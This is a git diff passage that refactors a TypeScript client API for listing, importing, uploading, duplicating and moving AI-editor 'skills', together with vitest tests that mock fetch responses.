+++ b/packages/app/src/lib/skills-api.duplicate.dom.test.ts
@@ -0,0 +1,35 @@
+import { afterEach, describe, expect, test, vi } from 'vitest';
+import { duplicateSkill } from './skills-api';
+
+const originalFetch = globalThis.fetch;
+
+describe('duplicateSkill', () => {
+ afterEach(() => {
+ globalThis.fetch = originalFetch;
+ });
+
+ test('requests a server-side complete bundle copy under the next available name', async () => {
+ const fetchMock = vi.fn().mockResolvedValue(
+ new Response(JSON.stringify({ name: 'example-copy-2' }), {
+ status: 200,
+ headers: { 'Content-Type': 'application/json' },
+ }),
+ );
+ globalThis.fetch = fetchMock;
+
+ const result = await duplicateSkill({
+ scope: 'global',
+ name: 'example',
+ existingNames: new Set(['example', 'example-copy']),
+ });
+
+ expect(result).toEqual({ ok: true, name: 'example-copy-2' });
+ expect(fetchMock).toHaveBeenCalledTimes(1);
+ expect(fetchMock.mock.calls[0]?.[0]).toBe('/api/skill/duplicate');
+ expect(JSON.parse(fetchMock.mock.calls[0]?.[1]?.body as string)).toEqual({
+ scope: 'global',
+ name: 'example',
+ toName: 'example-copy-2',
+ });
+ });
+});
diff --git a/packages/app/src/lib/skills-api.list.dom.test.ts b/packages/app/src/lib/skills-api.list.dom.test.ts
new file mode 100644
index 000000000..497231574
--- /dev/null
+++ b/packages/app/src/lib/skills-api.list.dom.test.ts
@@ -0,0 +1,73 @@
+import { afterEach, describe, expect, test, vi } from 'vitest';
+import { listSkills } from './skills-api';
+
+const originalFetch = globalThis.fetch;
+
+const respond = (body: unknown) =>
+ vi.fn().mockResolvedValue(
+ new Response(JSON.stringify(body), {
+ status: 200,
+ headers: { 'Content-Type': 'application/json' },
+ }),
+ );
+
+describe('listSkills', () => {
+ afterEach(() => {
+ globalThis.fetch = originalFetch;
+ });
+
+ // The shared `getJson` merges its own `ok: true` into the body. Validating
+ // that merged object against the `.strict()` schema rejected EVERY response,
+ // so the wrapper reported a schema failure on well-formed data and the two
+ // consumers (opening a project skill by name, and the slash-ref name set)
+ // silently saw nothing.
+ test('accepts a well-formed body despite the envelope flag getJson adds', async () => {
+ globalThis.fetch = respond({
+ skills: [
+ {
+ scope: 'project',
+ name: 'grill-me',
+ path: '.agents/skills/grill-me',
+ installed: true,
+ hosts: ['claude'],
+ },
+ ],
+ truncated: false,
+ });
+
+ const res = await listSkills('project');
+
+ expect(res).toEqual({
+ ok: true,
+ skills: [
+ {
+ scope: 'project',
+ name: 'grill-me',
+ path: '.agents/skills/grill-me',
+ installed: true,
+ hosts: ['claude'],
+ },
+ ],
+ });
+ });
+
+ test('still rejects a body that actually drifted from the schema', async () => {
+ globalThis.fetch = respond({ skills: [{ scope: 'project' }], truncated: false });
+
+ expect(await listSkills('project')).toEqual({
+ ok: false,
+ error: 'The skills list did not match its schema.',
+ });
+ });
+
+ test('scopes the request when asked, and omits the param otherwise', async () => {
+ const fetchMock = respond({ skills: [], truncated: false });
+ globalThis.fetch = fetchMock;
+
+ await listSkills('global');
+ await listSkills();
+
+ expect(fetchMock.mock.calls[0]?.[0]).toBe('/api/skills?scope=global');
+ expect(fetchMock.mock.calls[1]?.[0]).toBe('/api/skills');
+ });
+});
diff --git a/packages/app/src/lib/skills-api.ts b/packages/app/src/lib/skills-api.ts
index 33872df76..92268a593 100644
--- a/packages/app/src/lib/skills-api.ts
+++ b/packages/app/src/lib/skills-api.ts
@@ -1,8 +1,17 @@
import type {
+ SkillDetail,
+ SkillDiscover,
SkillFrontmatter,
SkillInstallWarningCode,
+ SkillPreview,
+ SkillRefResolution,
SkillScope,
+ SkillsImportBulkSuccess,
+ SkillsInstalledSuccess,
+ SkillsListEntry,
+ SkillsSearchSuccess,
} from '@inkeep/open-knowledge-core';
+import { SkillsListSuccessSchema } from '@inkeep/open-knowledge-core';
import { emitSkillsChanged } from '@/lib/documents-events';
import { parseApiError } from '@/lib/parse-api-error';
@@ -22,16 +31,222 @@ async function readErrorBody(res: Response): Promise<string> {
type WriteResult<T> = ({ ok: true } & T) | { ok: false; error: string };
/**
- * PUT `/api/skill` — create or overwrite `<root>/.ok/skills/<name>/SKILL.md`.
- * `frontmatter.name` must equal `name` (server-enforced); the form keeps them
- * in lockstep.
+ * Shared GET → `WriteResult<T>` wrapper for the read-only skill endpoints. Every
+ * `/api/skills/*` GET degrades identically: a non-`ok` response surfaces the
+ * server error body; a thrown fetch/JSON error (network failure, abort, non-JSON
+ * body) becomes `{ ok: false }` so the caller's `.then` still runs and the pane
+ * degrades instead of spinning forever. `T` is spread into the success result.
+ */
+async function getJson<T extends object>(
+ url: string,
+ signal?: AbortSignal,
+): Promise<WriteResult<T>> {
+ try {
+ const res = await fetch(url, signal ? { signal } : undefined);
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const body = (await res.json()) as T;
+ return { ok: true, ...body };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/**
+ * Write-side counterpart to `getJson`: the POST/PUT/DELETE shape every mutating
+ * wrapper below repeated verbatim — send, surface the server's error body on a
+ * non-`ok` response, tolerate an empty or non-JSON success body, and turn a
+ * thrown fetch into `{ ok: false }` rather than letting it escape into a click
+ * handler.
+ *
+ * Deliberately does NOT emit `skills-changed` or apply per-endpoint defaults:
+ * which writes invalidate the list is a per-endpoint decision (one of them
+ * deliberately does not emit), and burying that here would hide the exception.
+ */
+async function sendJson<T extends object>(
+ url: string,
+ method: 'POST' | 'PUT' | 'DELETE',
+ body?: unknown,
+): Promise<WriteResult<T>> {
+ try {
+ const res = await fetch(url, {
+ method,
+ ...(body === undefined
+ ? {}
+ : { headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body) }),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as T | null;
+ return { ok: true, ...((payload ?? {}) as T) };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/**
+ * GET `/api/skills/search?q=` — proxy skill discovery over skills.sh (with a
+ * degraded GitHub-topic fallback). `degraded` true = the fallback answered, so
+ * the caller should drop the install-count sort. Sub-2-char queries short-circuit
+ * to an empty result (mirrors the server's minimum-length guard).
+ */
+export async function searchSkills(query: string): Promise<WriteResult<SkillsSearchSuccess>> {
+ const q = query.trim();
+ if (q.length < 2) return { ok: true, results: [], backend: 'skills.sh', degraded: false };
+ return getJson<SkillsSearchSuccess>(`/api/skills/search?q=${encodeURIComponent(q)}`);
+}
+
+/**
+ * GET `/api/skills/popular` — the Discover blank-state list (server-scraped from
+ * the skills.sh front page, cached + best-effort). A non-`ok` result OR an empty
+ * `results` means the caller should fall back to the topic chips.
+ */
+export async function fetchPopularSkills(): Promise<WriteResult<SkillsSearchSuccess>> {
+ return getJson<SkillsSearchSuccess>('/api/skills/popular?limit=24');
+}
+
+/**
+ * `GET /api/skills` — the managed-skill list, schema-validated.
+ *
+ * The one wrapper for this endpoint. Call sites used to `fetch` it directly and
+ * cast the body with `as { skills?: SkillsListEntry[] }`, which silently accepts
+ * a response the `.strict()` schema would reject — so server field drift was
+ * loud in one path and invisible in the others.
+ */
+export async function listSkills(
+ scope?: SkillScope,
+ signal?: AbortSignal,
+): Promise<{ ok: true; skills: SkillsListEntry[] } | { ok: false; error: string }> {
+ const res = await getJson<Record<string, unknown>>(
+ scope ? `/api/skills?scope=${scope}` : '/api/skills',
+ signal,
+ );
+ if (!res.ok) return res;
+ // `getJson` merges its own `ok: true` into the body, which the `.strict()`
+ // schema rejects — validate the server's fields, not the envelope.
+ const { ok: _envelope, ...body } = res;
+ const parsed = SkillsListSuccessSchema.safeParse(body);
+ return parsed.success
+ ? { ok: true, skills: parsed.data.skills }
+ : { ok: false, error: 'The skills list did not match its schema.' };
+}
+
+/**
+ * GET `/api/skills/detail?source=&name=` — enrich one discovery result for the
+ * info modal (skills.sh Open Graph preview + repo/skills.sh links). The server
+ * degrades to a repo-link-only payload when the skills.sh page is unreachable,
+ * so a non-`ok` result here means the request itself failed, not "no preview".
+ */
+export async function fetchSkillDetail(input: {
+ source: string;
+ name: string;
+}): Promise<WriteResult<SkillDetail>> {
+ const params = new URLSearchParams({ source: input.source, name: input.name });
+ return getJson<SkillDetail>(`/api/skills/detail?${params.toString()}`);
+}
+
+/**
+ * GET `/api/skills/preview?source=&name=` — fetch an un-imported skill's full
+ * `SKILL.md` text so the Explore modal can render it through the read-only
+ * markdown viewer before importing. The server shallow-clones the source (same
+ * machinery as import), so this is slower than `fetchSkillDetail` and can fail
+ * on network / rate limits; a non-`ok` result means the caller should fall back
+ * to the Open Graph card rather than block the modal.
+ */
+export async function fetchSkillPreview(
+ input: { source: string; name: string },
+ signal?: AbortSignal,
+): Promise<WriteResult<SkillPreview>> {
+ const params = new URLSearchParams({ source: input.source, name: input.name });
+ return getJson<SkillPreview>(`/api/skills/preview?${params.toString()}`, signal);
+}
+
+/**
+ * GET `/api/skills/resolve-ref` — resolve a skill's `/other-skill` reference by
+ * trusted-provenance precedence (local install / same-source sibling / same-
+ * publisher exact match). Never a marketplace-wide fuzzy search. `from` is the
+ * referencing skill's name (for its origin lookup); `scope` its scope.
+ */
+export async function resolveSkillRef(
+ input: { ref: string; scope: SkillScope; from: string },
+ signal?: AbortSignal,
+): Promise<WriteResult<SkillRefResolution>> {
+ const params = new URLSearchParams({
+ ref: input.ref,
+ scope: input.scope,
+ from: input.from,
+ });
+ return getJson<SkillRefResolution>(`/api/skills/resolve-ref?${params.toString()}`, signal);
+}
+
+/**
+ * GET `/api/skills/discover?source=` — enumerate every skill in a remote/local
+ * import source so the Import modal can offer a picker of what to ingest instead
+ * of a blind free-text "which skill" box. Same shallow-clone machinery as
+ * import, so it's slow and can fail on network / a bad source; a non-`ok` result
+ * means the caller should let the user import blind (the server still errors with
+ * the skill list if the source turns out to hold several).
+ */
+export async function discoverSkillsInSource(
+ source: string,
+ signal?: AbortSignal,
+): Promise<WriteResult<SkillDiscover>> {
+ return getJson<SkillDiscover>(
+ `/api/skills/discover?source=${encodeURIComponent(source)}`,
+ signal,
+ );
+}
+
+/**
+ * GET `/api/skills/installed` — enumerate skills OK detected across your other
+ * tools (Claude/Codex/Cursor plugins, `~/.ok/skills`), deduped across homes.
+ * Backs the Import modal's Detected tab. Read-only; scripts are surfaced here,
+ * never run. A non-`ok` result means the request failed (the caller shows the
+ * error), distinct from an `ok` result with an empty `skills` (nothing detected).
+ */
+export async function listDetectedSkills(): Promise<WriteResult<SkillsInstalledSuccess>> {
+ return getJson<SkillsInstalledSuccess>('/api/skills/installed');
+}
+
+/**
+ * POST `/api/skill/edit-external` — register a detected (unmanaged) skill for
+ * in-place editing and get back the synthetic editable doc name
+ * (`__extskill__/<name>`). `home` is the skill's own on-disk dir
+ * (`CatalogSkill.home`). The doc autosaves back to the real harness file with no
+ * copy/symlink/`.ok`.
+ */
+export async function editExternalSkill(input: {
+ name: string;
+ home: string;
+}): Promise<WriteResult<{ docName: string }>> {
+ try {
+ const res = await fetch('/api/skill/edit-external', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const body = (await res.json().catch(() => null)) as { docName?: unknown } | null;
+ if (!body || typeof body.docName !== 'string') {
+ return { ok: false, error: 'Server returned a malformed response.' };
+ }
+ return { ok: true, docName: body.docName };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/**
+ * PUT `/api/skill` — create or overwrite a skill. A NEW skill is born
+ * IN-PLACE at the scope's default skill home (store retirement); an existing
+ * one is edited at its real dir. `path` is the base-relative SKILL.md path
+ * the server wrote — pass it to `openSkill` so a fresh create opens its REAL
+ * doc before the skills list catches up.
*/
export async function saveSkill(input: {
scope: SkillScope;
name: string;
frontmatter: SkillFrontmatter;
body: string;
-}): Promise<WriteResult<{ created: boolean; warnings: string[] }>> {
+}): Promise<WriteResult<{ created: boolean; warnings: string[]; path?: string }>> {
try {
const res = await fetch('/api/skill', {
method: 'PUT',
@@ -42,70 +257,171 @@ export async function saveSkill(input: {
const payload = (await res.json().catch(() => null)) as {
created?: boolean;
warnings?: string[];
+ path?: string;
} | null;
emitSkillsChanged();
- return { ok: true, created: payload?.created ?? false, warnings: payload?.warnings ?? [] };
+ return {
+ ok: true,
+ created: payload?.created ?? false,
+ warnings: payload?.warnings ?? [],
+ ...(typeof payload?.path === 'string' ? { path: payload.path } : {}),
+ };
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
}
/**
- * PUT `/api/skill-file` — create or overwrite ONE bundle file (`references/**`
- * or `scripts/**`) beside a skill's `SKILL.md`. The server routes by scope×type
- * (project `.md` → CRDT content/index path so it joins the graph; global refs +
- * all scripts → fs-direct). Used to carry the full bundle on a cross-scope move.
+ * POST `/api/skill/import` — acquire a skill from a remote/local source into
+ * `.ok/skills/<name>` as versioned content. The server
+ * fetches, writes via the content spine, records upstream provenance, and never
+ * executes scripts. A name collision lands under `<name>-imported`; an identical
+ * re-import is a no-op (`alreadyImported`).
*/
-async function saveSkillFile(input: {
- scope: SkillScope;
- name: string;
- path: string;
- content: string;
-}): Promise<WriteResult<{ created: boolean }>> {
+export async function importSkill(input: {
+ source: string;
+ skill?: string;
+ scope?: SkillScope;
+ /** false = import only, no default-editor auto-projection (the caller
+ * installs explicitly afterwards). */
+ install?: boolean;
+}): Promise<
+ | {
+ ok: true;
+ name: string;
+ alreadyImported: boolean;
+ collisionRenamedFrom?: string;
+ warnings: string[];
+ }
+ // `skills` rides the failure branch only for the multi-skill guard, so the
+ // Import form can recover into the picker instead of dead-ending.
+ | { ok: false; error: string; skills?: string[] }
+> {
try {
- const res = await fetch('/api/skill-file', {
- method: 'PUT',
+ const res = await fetch('/api/skill/import', {
+ method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(input),
});
- if (!res.ok) return { ok: false, error: await readErrorBody(res) };
- const payload = (await res.json().catch(() => null)) as { created?: boolean } | null;
+ if (!res.ok) {
+ const body = (await res.json().catch(() => null)) as {
+ title?: unknown;
+ detail?: unknown;
+ } | null;
+ const error = parseApiError(body) ?? `HTTP ${res.status}`;
+ // The multi-skill guard rejects a blind import of a bundle and returns the
+ // choosable names in `detail` (comma-joined; skill names are comma-free
+ // kebab identifiers). Surface them so the caller can offer the picker even
+ // when pre-import discovery flaked but import's own clone saw the bundle.
+ const skills =
+ typeof body?.detail === 'string' && /multiple skills/i.test(String(body?.title ?? ''))
+ ? String(body.detail)
+ .split(', ')
+ .map((s) => s.trim())
+ .filter(Boolean)
+ : undefined;
+ return skills ? { ok: false, error, skills } : { ok: false, error };
+ }
+ const payload = (await res.json().catch(() => null)) as {
+ name?: string;
+ alreadyImported?: boolean;
+ collisionRenamedFrom?: string;
+ warnings?: string[];
+ } | null;
+ // A successful import always returns a JSON body with a real `name`. A null
+ // payload (e.g. a proxy returned HTML on a 200) is a failure, not a success
+ // we paper over by echoing the raw source as the skill name.
+ if (!payload || typeof payload.name !== 'string') {
+ return { ok: false, error: 'Server returned a malformed import response.' };
+ }
emitSkillsChanged();
- return { ok: true, created: payload?.created ?? false };
+ return {
+ ok: true,
+ name: payload.name,
+ alreadyImported: payload?.alreadyImported ?? false,
+ collisionRenamedFrom: payload?.collisionRenamedFrom,
+ warnings: payload?.warnings ?? [],
+ };
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
}
-/** GET `/api/skills/management` — project-managed opt-in state + import count.
- * `managed: null` = undecided. Returns null on any failure (caller hides UI). */
-export async function getSkillsManagement(): Promise<{
- managed: boolean | null;
- importable: number;
-} | null> {
+/**
+ * POST `/api/skills/import-bulk` — acquire SEVERAL named skills from one source
+ * in a single server-side clone (the plugin case). Always resolves `ok` when the
+ * source itself was reachable: per-skill outcomes ride `results`, so a caller
+ * reports counts and lists what failed rather than treating one bad bundle as a
+ * failed request.
+ */
+export async function importSkillsBulk(input: {
+ source: string;
+ skills: string[];
+ scope: SkillScope;
+ /** false = import only, no default-editor auto-projection. */
+ install?: boolean;
+}): Promise<WriteResult<SkillsImportBulkSuccess>> {
try {
- const res = await fetch('/api/skills/management');
- if (!res.ok) return null;
- return (await res.json()) as { managed: boolean | null; importable: number };
- } catch {
- return null;
+ const res = await fetch('/api/skills/import-bulk', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as SkillsImportBulkSuccess | null;
+ if (!payload || !Array.isArray(payload.results)) {
+ return { ok: false, error: 'Server returned a malformed import response.' };
+ }
+ emitSkillsChanged();
+ return { ok: true, ...payload };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
}
-/** PUT `/api/skills/management` — record the opt-in; enabling imports editor
- * skills server-side. Emits `skills-changed` so the list re-fetches. */
-export async function setSkillsManagement(manageEditorSkills: boolean): Promise<boolean> {
+/**
+ * POST `/api/skill-upload` — acquire a skill from UPLOADED BYTES (a `.zip` of a
+ * skill dir, or a folder's files via `webkitdirectory`) instead of a fetched
+ * source. Multipart: `scope` rides the query string, the file parts are the
+ * body. Mirrors the import result shape (same server spine); the server unpacks
+ * to a temp dir and never runs scripts.
+ */
+export async function uploadSkill(
+ formData: FormData,
+ scope: SkillScope,
+): Promise<
+ WriteResult<{
+ name: string;
+ alreadyImported: boolean;
+ collisionRenamedFrom?: string;
+ warnings: string[];
+ }>
+> {
try {
- const res = await fetch('/api/skills/management', {
- method: 'PUT',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ manageEditorSkills }),
+ const res = await fetch(`/api/skill-upload?scope=${encodeURIComponent(scope)}`, {
+ method: 'POST',
+ body: formData,
});
- if (!res.ok) return false;
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as {
+ name?: string;
+ alreadyImported?: boolean;
+ collisionRenamedFrom?: string;
+ warnings?: string[];
+ } | null;
+ if (!payload || typeof payload.name !== 'string') {
+ return { ok: false, error: 'Server returned a malformed upload response.' };
+ }
emitSkillsChanged();
- return true;
- } catch {
- return false;
+ return {
+ ok: true,
+ name: payload.name,
+ alreadyImported: payload?.alreadyImported ?? false,
+ collisionRenamedFrom: payload?.collisionRenamedFrom,
+ warnings: payload?.warnings ?? [],
+ };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
}
@@ -121,11 +437,10 @@ function nextCopyName(base: string, existing: ReadonlySet<string>): string {
}
/**
- * Duplicate a skill within its scope. Reads the source `SKILL.md` (GET) and
- * writes a copy under a fresh `<name>-copy[-N]` name (PUT via `saveSkill`) — a
- * client-side compose over the existing endpoints, since skills are plain files
- * (no CRDT). `existingNames` is the scope's current name set, used to pick a
- * non-colliding name without overwriting.
+ * Duplicate a complete skill bundle within its scope. The server copies the
+ * directory recursively so references, scripts, and binary assets stay intact.
+ * `existingNames` picks a friendly non-colliding name before the server performs
+ * its authoritative destination check.
*/
export async function duplicateSkill(input: {
scope: SkillScope;
@@ -133,133 +448,57 @@ export async function duplicateSkill(input: {
existingNames: ReadonlySet<string>;
}): Promise<WriteResult<{ name: string }>> {
try {
- const params = new URLSearchParams({ name: input.name, scope: input.scope });
- const getRes = await fetch(`/api/skill?${params.toString()}`);
- if (!getRes.ok) return { ok: false, error: await readErrorBody(getRes) };
- const detail = (await getRes.json().catch(() => null)) as {
- skill?: { frontmatter?: { description?: unknown }; body?: unknown };
- } | null;
- const description =
- typeof detail?.skill?.frontmatter?.description === 'string'
- ? detail.skill.frontmatter.description
- : '';
- const body = typeof detail?.skill?.body === 'string' ? detail.skill.body : '';
const toName = nextCopyName(input.name, input.existingNames);
- const saved = await saveSkill({
- scope: input.scope,
- name: toName,
- frontmatter: { name: toName, description },
- body,
+ const res = await fetch('/api/skill/duplicate', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: input.scope,
+ name: input.name,
+ toName,
+ }),
});
- if (!saved.ok) return { ok: false, error: saved.error };
- return { ok: true, name: toName };
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as { name?: unknown } | null;
+ if (typeof payload?.name !== 'string') {
+ return { ok: false, error: 'Server returned a malformed duplicate response.' };
+ }
+ emitSkillsChanged();
+ return { ok: true, name: payload.name };
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
}
/**
- * Move a skill across scopes (project ↔ global). Each scope has its own store
- * (project = `<contentDir>/.ok/skills`, content-versioned; global =
- * `<home>/.ok/skills`, unversioned), so this composes the existing endpoints —
- * read the source `SKILL.md`, write it under the destination scope, then delete
- * the source (whose DELETE also tears down the open live doc + uninstalls the
- * old scope's editor-host projections).
- * Refuses if the destination scope already has a skill of that name (no
- * overwrite). Project → global drops version history (global is unversioned
- * by design); the moved skill lands as a Draft to (re)install for its new scope.
- * Not atomic: if the delete fails, the copy already exists in the destination —
- * surfaced in `error` so the caller can tell the user.
+ * Move a skill across scopes (project ↔ global) via the server-side atomic
+ * `POST /api/skill/move-scope`. The server copies the whole bundle verbatim
+ * (binaries included), removes the source, and transfers install projections in
+ * ONE request — no client-orchestrated copy+delete, so nothing can race the
+ * live-doc bridge and double the skill's content on a round-trip. Refuses (409)
+ * if the destination scope already has a skill of that name — no overwrite.
+ * Project → global drops version history (global is unversioned by design).
*/
export async function moveSkillScope(input: {
name: string;
fromScope: SkillScope;
toScope: SkillScope;
-}): Promise<WriteResult<{ scope: SkillScope; skippedBinaryFiles?: string[] }>> {
+}): Promise<WriteResult<{ scope: SkillScope; path?: string }>> {
const { name, fromScope, toScope } = input;
if (fromScope === toScope) return { ok: true, scope: toScope };
try {
- const getRes = await fetch(`/api/skill?name=${encodeURIComponent(name)}&scope=${fromScope}`);
- if (!getRes.ok) return { ok: false, error: await readErrorBody(getRes) };
- const detail = (await getRes.json().catch(() => null)) as {
- skill?: { frontmatter?: { description?: unknown }; body?: unknown };
- } | null;
- const description =
- typeof detail?.skill?.frontmatter?.description === 'string'
- ? detail.skill.frontmatter.description
- : '';
- const body = typeof detail?.skill?.body === 'string' ? detail.skill.body : '';
-
- // Don't overwrite an existing destination-scope skill of the same name.
- // Only a clean 404 proves the destination is free: a transient failure
- // (5xx / network) is NOT "absent", and proceeding would overwrite a
- // destination that might exist and then delete the source (data loss).
- const destRes = await fetch(`/api/skill?name=${encodeURIComponent(name)}&scope=${toScope}`);
- if (destRes.ok) {
- return { ok: false, error: `A ${toScope} skill named "${name}" already exists.` };
- }
- if (destRes.status !== 404) {
- return {
- ok: false,
- error: `Couldn't verify the ${toScope} destination "${name}" is free (HTTP ${destRes.status}); aborting before any write so an existing skill can't be overwritten. Retry in a moment.`,
- };
- }
-
- const saved = await saveSkill({
- scope: toScope,
- name,
- frontmatter: { name, description },
- body,
+ const res = await fetch('/api/skill/move-scope', {
+ method: 'POST',
+ headers: { 'content-type': 'application/json' },
+ body: JSON.stringify({ name, fromScope, toScope }),
});
- if (!saved.ok) return saved;
-
- // Carry the full bundle: `saveSkill` only writes SKILL.md, so without this
- // the references + scripts are lost on a cross-scope move. Copy every
- // bundle file to the destination BEFORE deleting the source — abort on any
- // copy failure without deleting, so a partial copy never loses the original
- // (it stays intact at the source scope). Null-text entries are binary /
- // oversize files outside the text-only bundle contract; skip them.
- const bundled = await getSkillBundledFiles(fromScope, name);
- if (!bundled.ok) {
- return {
- ok: false,
- error: `Copied "${name}" to ${toScope}, but reading its bundle files failed (${bundled.error}); the ${fromScope} original is intact. Delete the partial ${toScope} copy and retry.`,
- };
- }
- const skippedBinaryFiles: string[] = [];
- for (const file of bundled.files) {
- // Binary / oversize files (null text) are outside the text-only bundle
- // contract — skip them, but collect so the move isn't a SILENT drop.
- if (file.text === null) {
- skippedBinaryFiles.push(file.path);
- continue;
- }
- const copied = await saveSkillFile({
- scope: toScope,
- name,
- path: file.path,
- content: file.text,
- });
- if (!copied.ok) {
- return {
- ok: false,
- error: `Copied "${name}" to ${toScope}, but copying its bundle file "${file.path}" failed (${copied.error}); the ${fromScope} original is intact. Delete the partial ${toScope} copy and retry.`,
- };
- }
- }
-
- const del = await deleteSkill(fromScope, name);
- if (!del.ok) {
- return {
- ok: false,
- error: `Copied to ${toScope}, but couldn't remove the ${fromScope} copy: ${del.error}`,
- };
- }
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as { path?: string } | null;
emitSkillsChanged();
return {
ok: true,
scope: toScope,
- ...(skippedBinaryFiles.length > 0 ? { skippedBinaryFiles } : {}),
+ ...(typeof payload?.path === 'string' ? { path: payload.path } : {}),
};
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
@@ -278,7 +517,7 @@ export async function moveSkill(input: {
toName: string;
frontmatter?: SkillFrontmatter;
body?: string;
-}): Promise<WriteResult<{ committed: boolean }>> {
+}): Promise<WriteResult<{ committed: boolean; to?: string }>> {
try {
const res = await fetch('/api/skill', {
method: 'POST',
@@ -286,9 +525,16 @@ export async function moveSkill(input: {
body: JSON.stringify(input),
});
if (!res.ok) return { ok: false, error: await readErrorBody(res) };
- const payload = (await res.json().catch(() => null)) as { committed?: boolean } | null;
+ const payload = (await res.json().catch(() => null)) as {
+ committed?: boolean;
+ to?: string;
+ } | null;
emitSkillsChanged();
- return { ok: true, committed: payload?.committed ?? false };
+ return {
+ ok: true,
+ committed: payload?.committed ?? false,
+ ...(typeof payload?.to === 'string' ? { to: payload.to } : {}),
+ };
} catch (err) {
return { ok: false, error: err instanceof Error ? err.message : String(err) };
}
@@ -311,6 +557,88 @@ export async function deleteSkill(
}
}
+/** POST `/api/skill/install` fork op — resolve a same-name divergence: align
+ * the fork to the source, make the fork the source, or keep both by renaming
+ * the fork. Every path stashes the discarded bytes out-of-tree first. */
+export async function resolveSkillFork(input: {
+ scope: SkillScope;
+ name: string;
+ editor: string;
+ action: 'align' | 'make-source' | 'rename';
+ toName?: string;
+}): Promise<WriteResult<Record<never, never>>> {
+ const res = await sendJson('/api/skill/install', 'POST', {
+ scope: input.scope,
+ name: input.name,
+ fork: {
+ editor: input.editor,
+ action: input.action,
+ ...(input.toName !== undefined ? { toName: input.toName } : {}),
+ },
+ });
+ if (!res.ok) return res;
+ emitSkillsChanged();
+ return { ok: true };
+}
+
+/** PUT `/api/skill-file` — write/create ONE bundle file. Nested paths create
+ * their folders implicitly (the server mkdirs parents). */
+export async function writeSkillFile(input: {
+ scope: SkillScope;
+ name: string;
+ path: string;
+ content: string;
+}): Promise<WriteResult<{ path: string }>> {
+ try {
+ const res = await fetch('/api/skill-file', {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as { path?: string } | null;
+ emitSkillsChanged();
+ return { ok: true, path: payload?.path ?? input.path };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/** POST `/api/skill-file/rename` — rename/move ONE bundle file inside a skill.
+ * For a project `.md` reference the response carries the old + new live doc
+ * names so an open tab can retarget. */
+export async function renameSkillFile(input: {
+ scope: SkillScope;
+ name: string;
+ from: string;
+ to: string;
+}): Promise<WriteResult<{ from: string; to: string; fromDocName?: string; toDocName?: string }>> {
+ try {
+ const res = await fetch('/api/skill-file/rename', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(input),
+ });
+ if (!res.ok) return { ok: false, error: await readErrorBody(res) };
+ const payload = (await res.json().catch(() => null)) as {
+ from?: string;
+ to?: string;
+ fromDocName?: string;
+ toDocName?: string;
+ } | null;
+ emitSkillsChanged();
+ return {
+ ok: true,
+ from: payload?.from ?? input.from,
+ to: payload?.to ?? input.to,
+ ...(payload?.fromDocName !== undefined ? { fromDocName: payload.fromDocName } : {}),
+ ...(payload?.toDocName !== undefined ? { toDocName: payload.toDocName } : {}),
+ };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
/** One bundled file beside a skill's `SKILL.md`, with inline read-only text. */
export interface SkillBundledFile {
path: string;
@@ -327,9 +655,11 @@ export interface SkillBundledFile {
export async function getSkillBundledFiles(
scope: SkillScope,
name: string,
+ /** Which same-named bundle to list. Omitted = the by-name default. */
+ host?: string,
): Promise<WriteResult<{ files: SkillBundledFile[] }>> {
try {
- const params = new URLSearchParams({ name, scope });
+ const params = new URLSearchParams({ name, scope, ...(host ? { host } : {}) });
const res = await fetch(`/api/skill?${params.toString()}`);
if (!res.ok) return { ok: false, error: await readErrorBody(res) };
const detail = (await res.json().catch(() => null)) as {
@@ -360,6 +690,8 @@ async function getSkillFile(input: {
scope: SkillScope;
name: string;
path: string;
+ /** Which same-named bundle owns this file. Omitted = the by-name default. */
+ host?: string;
signal?: AbortSignal;
}): Promise<SkillFileReadResult> {
try {
@@ -367,6 +699,7 @@ async function getSkillFile(input: {
name: input.name,
scope: input.scope,
path: input.path,
+ ...(input.host ? { host: input.host } : {}),
});
const res = await fetch(`/api/skill-file?${params.toString()}`, { signal: input.signal });
if (!res.ok) {
@@ -393,6 +726,8 @@ export function loadSkillFileText(
scope: SkillScope;
name: string;
path: string;
+ /** Which same-named bundle owns this file; omitted = by-name default. */
+ host?: string;
},
signal?: AbortSignal,
): Promise<{ ok: true; text: string } | { ok: false; status?: number }> {
@@ -412,6 +747,8 @@ export async function installSkill(input: {
scope: SkillScope;
name: string;
targets?: string[];
